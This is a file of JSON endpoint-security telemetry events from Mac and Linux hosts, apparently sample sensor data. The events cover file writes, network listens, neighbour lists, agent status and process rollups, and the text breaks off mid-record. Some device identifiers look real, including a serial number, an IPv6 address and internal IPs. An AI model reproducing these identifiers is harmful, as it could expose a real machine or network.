-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"}
-{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"}
-{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"}
-{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"}
-{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"}
-{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"}
-{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
-{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
-{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
-{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"